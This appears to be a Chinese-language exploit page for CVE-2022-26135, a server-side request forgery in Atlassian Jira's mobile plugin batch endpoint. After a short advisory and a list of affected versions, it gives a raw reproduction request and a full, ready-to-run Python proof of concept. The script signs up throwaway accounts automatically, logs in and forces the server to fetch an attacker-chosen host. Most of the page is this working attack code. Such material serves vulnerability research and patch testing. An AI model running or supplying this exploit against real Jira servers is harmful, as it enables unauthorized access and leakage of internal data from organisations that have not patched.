Atlassian Jira Mobile Plugin SSRF漏洞 CVE-2022-26135
漏洞描述
6月29日,Atlassian官方发布安全公告,在Atlassian Jira 多款产品中存在服务端请求伪造漏洞(SSRF),经过身份验证的远程攻击者可通过向Jira Core REST API发送特制请求,从而伪造服务端发起请求,从而导致敏感信息泄露,同时为下一步攻击利用提供条件。需注意的是,若服务端开启注册功能,则未授权用户可通过注册获取权限进而利用。
漏洞影响
Jira Core Server, Jira Software Server, and Jira Software Data Center:
Versions after 8.0 and before 8.13.22
8.14.x
8.15.x
8.16.x
8.17.x
8.18.x
8.19.x
8.20.x before 8.20.10
8.21.x
8.22.x before 8.22.4
Jira Service Management Server and Data Center:
Versions after 4.0 and before 4.13.22
4.14.x
4.15.x
4.16.x
4.17.x
4.18.x
4.19.x
4.20.x before 4.20.10
4.21.x
4.22.x before 4.22.4
漏洞复现
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63
{"requests":[{"method":"GET","location":"dnslog@example.com"}]}
漏洞POC
import requests
import string
import random
import argparse
from bs4 import BeautifulSoup as bs4
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("--target", help="i.e. http://re.local:8090", required=True)
parser.add_argument("--ssrf", help="i.e. example.com (no protocol pls)", required=True)
parser.add_argument("--mode", help="i.e. manual or automatic - manual mode you need to provide user auth info", required=True, default="automatic")
parser.add_argument("--software", help="i.e. jira or jsd - only needed for manual mode")
parser.add_argument("--username", help="i.e. admin - only needed for manual jira mode")
parser.add_argument("--email", help="i.e. admin@example.com - only needed for manual jira service desk mode")
parser.add_argument("--password", help="i.e. testing123 - only needed for manual mode")
args = parser.parse_args()
if args.mode == "manual":
if args.software == "":
print("[*] please pass in a software (jira / jsd)")
if args.software == "jira" and args.email == "" and args.password == "":
print("[*] must provide an email and password for jira in manual mode")
if args.software == "jsd" and args.username == "" and args.password == "":
print("[*] must provide an username and password for jira in manual mode")
# atlast - exploit tested on jira < 8.20.3 / jira service desk < 4.20.3-REL-0018
# for full list of affected jira versions please see the following URL
# https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
# by shubs
banner = """
_ _ _
__ _| |_| | __ _ ___| |_
/ _` | __| |/ _` / __| __|
| (_| | |_| | (_| \__ \ |_
\__,_|\__|_|\__,_|___/\__|
jira full read ssrf [CVE-2022-26135]
brought to you by assetnote [https://assetnote.io]
"""
print(banner)
proxies = {} # proxy to burp like this - {"https":"http://localhost:8080"}
session = requests.Session()
def detect_jira_root(target):
root_paths = ["/", "/secure/" "/jira/", "/issues/"]
jira_found = ""
for path in root_paths:
test_url = "{}/{}".format(target, path)
r = session.get(test_url, verify=False, proxies=proxies)
if "ajs-base-url" in r.text:
jira_found = path
break
return jira_found
def get_jira_signup(target, base_path):
test_url = "{}{}".format(target, base_path)
r = session.get(test_url, verify=False, proxies=proxies)
signup_enabled = False
if "Signup!default.jspa" in r.text:
signup_enabled = True
return signup_enabled
def signup_user(target, base_path):
test_url = "{}{}secure/Signup!default.jspa".format(target, base_path)
test_url_post = "{}{}secure/Signup.jspa".format(target, base_path)
r = session.get(test_url, verify=False, proxies=proxies)
if 'name="captcha"' in r.text:
print("[*] url {} has captchas enabled, please complete flow manually and provide user and password as arg".format(test_url))
return False, {}
if "Mode Breach" in r.text:
print("[*] url {} has signups disabled, trying JSD approach".format(test_url))
return False, {}
# captcha not detected, proceed with registration
html_bytes = r.text
soup = bs4(html_bytes, 'lxml')
token = soup.find('input', {'name':'atl_token'})['value']
full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6))
email = "{}@example.com".format(full_name)
password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"
paramsPost = {"password":password,"Signup":"Sign up","atl_token":token,"fullname":full_name,"email":email,"username":full_name}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"atlassian.xsrf.token":token}
r = session.post(test_url_post, data=paramsPost, headers=headers, cookies=cookies, verify=False, proxies=proxies)
if "Congratulations!" in r.text:
print("[*] successful registration")
user_obj = {"username": full_name, "password": password, "email": email}
return True, user_obj
# attempts to signup to root JSD
def register_jsd(target, base_path):
register_url = "{}{}servicedesk/customer/user/signup".format(target, base_path)
full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6))
email = "{}@example.com".format(full_name)
password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"
# try and sign up to the service desk portal without project IDs (easy win?)
rawBody = "{{\"email\":\"{}\",\"fullname\":\"{}\",\"password\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email, full_name, password)
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
r = session.post(register_url, data=rawBody, headers=headers, verify=False, proxies=proxies)
if r.status_code == 204:
print("[*] successful registration")
user_obj = {"username": full_name, "password": password, "email": email}
return True, user_obj
print("[*] url {} has non-captcha user/pass signups disabled :(".format(register_url))
register_email_url = "{}{}servicedesk/customer/user/emailsignup".format(target, base_path)
rawBody = "{{\"email\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email)
r = session.post(register_email_url, data=rawBody, headers=headers, verify=False, proxies=proxies)
if r.status_code == 204:
print("[*] registration may be possible via emailsignup endpoint")
print("[*] you will have to manually exploit this with a real email")
print("[*] visit {}".format(register_url))
return False, {}
if r.status_code == 400:
print("[*] registration may be possible via emailsignup endpoint")
print("[*] you will have to manually exploit this with a real email and captcha")
print("[*] visit {}".format(register_url))
return False, {}
print(r.status_code)
return False, {}
def exploit_ssrf_jsd(target, base_path, user_obj, ssrf_host):
login_url = "{}{}servicedesk/customer/user/login".format(target, base_path)
paramsPost = {"os_password":user_obj["password"],"os_username":user_obj["email"]}
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)
if "loginSucceeded" in r.text:
print("[*] successful login")
test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path)
rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host)
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
r = session.post(test_url, data=rawBody, headers=headers)
print("Status code: %i" % r.status_code)
print("Response body: %s" % r.content)
def exploit_ssrf_jira(target, base_path, user_obj, ssrf_host):
login_url = "{}{}login.jsp".format(target, base_path)
paramsPost = {"os_password":user_obj["password"],"user_role":"","os_username":user_obj["username"],"atl_token":"","os_destination":"","login":"Log In"}
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)
if r.headers["X-Seraph-LoginReason"] == "OK":
print("[*] successful login")
test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path)
rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host)
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
r = session.post(test_url, data=rawBody, headers=headers)
print("Status code: %i" % r.status_code)
print("Response body: %s" % r.content)
# target = "http://re.local:8090"
# ssrf_host = "907zer1sxey5czbnnf7p9d1zfqlj98.oastify.com"
user_obj = {}
successful_jira_signup = False
successful_jsd_signup = False
jira_root = detect_jira_root(args.target)
if args.mode == "manual" and args.software == "jira":
user_obj = {"username": args.username, "password": args.password, "email": args.email}
exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)
if args.mode == "manual" and args.software == "jsd":
user_obj = {"username": args.username, "password": args.password, "email": args.email}
exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)
if args.mode == "automatic":
signup_enabled = get_jira_signup(args.target, jira_root)
successful_jira_signup, user_obj = signup_user(args.target, jira_root)
if successful_jira_signup == True:
exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)
if successful_jira_signup == False:
# try to sign up to jira service desk instead
successful_jsd_signup, user_obj = register_jsd(args.target, jira_root)
if successful_jsd_signup:
exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)
if successful_jira_signup == False and successful_jsd_signup == False:
print("[*] sorry boss no ssrf for you today")